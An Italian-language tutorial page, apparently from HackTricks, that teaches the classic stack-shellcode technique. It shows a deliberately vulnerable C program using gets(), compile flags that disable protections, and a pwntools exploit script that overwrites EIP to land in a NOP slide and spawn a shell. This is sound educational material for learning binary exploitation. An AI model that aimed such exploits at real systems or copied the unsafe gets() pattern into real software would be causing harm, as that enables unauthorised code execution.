Stack Shellcode

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Informazioni di Base

Lo shellcode dello stack è una tecnica utilizzata nell'exploitation binaria in cui un attaccante scrive dello shellcode nello stack di un programma vulnerabile e modifica il Instruction Pointer (IP) o Extended Instruction Pointer (EIP) per puntare alla posizione di questo shellcode, causandone l'esecuzione. Questo è un metodo classico utilizzato per ottenere accesso non autorizzato o eseguire comandi arbitrari su un sistema di destinazione. Ecco una panoramica del processo, inclusi un semplice esempio in C e come potresti scrivere un exploit corrispondente utilizzando Python con pwntools.

Esempio in C: Un Programma Vulnerabile

Iniziamo con un semplice esempio di un programma C vulnerabile:

#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

Questo programma è vulnerabile a un buffer overflow a causa dell'uso della funzione gets().

Compilazione

Per compilare questo programma disabilitando varie protezioni (per simulare un ambiente vulnerabile), puoi utilizzare il seguente comando:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -fno-stack-protector: Disabilita la protezione dello stack.

  • -z execstack: Rende lo stack eseguibile, il che è necessario per eseguire lo shellcode memorizzato nello stack.

  • -no-pie: Disabilita l'Esecuzione Indipendente dalla Posizione, facilitando la previsione dell'indirizzo di memoria in cui sarà situato il nostro shellcode.

  • -m32: Compila il programma come eseguibile a 32 bit, spesso utilizzato per semplificare lo sviluppo di exploit.

Python Exploit usando Pwntools

Ecco come potresti scrivere uno sfruttamento in Python utilizzando pwntools per eseguire un attacco ret2shellcode:

from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

Questo script costruisce un payload composto da uno slide NOP, lo shellcode, e sovrascrive l'EIP con l'indirizzo che punta allo slide NOP, garantendo l'esecuzione dello shellcode.

Lo slide NOP (asm('nop')) viene utilizzato per aumentare la probabilità che l'esecuzione "scivoli" nel nostro shellcode indipendentemente dall'indirizzo esatto. Regolare l'argomento p32() con l'indirizzo di partenza del buffer più un offset per atterrare nello slide NOP.

Protezioni

  • ASLR dovrebbe essere disabilitato affinché l'indirizzo sia affidabile tra le esecuzioni o l'indirizzo in cui la funzione sarà memorizzata non sarà sempre lo stesso e sarebbe necessario un leak per capire dove è caricata la funzione win.

  • Anche i Canary dello Stack dovrebbero essere disabilitati o l'indirizzo di ritorno compromesso di EIP non verrà mai seguito.

  • NX la protezione dello stack impedirebbe l'esecuzione dello shellcode all'interno dello stack perché quella regione non sarebbe eseguibile.

Altri Esempi e Riferimenti

Last updated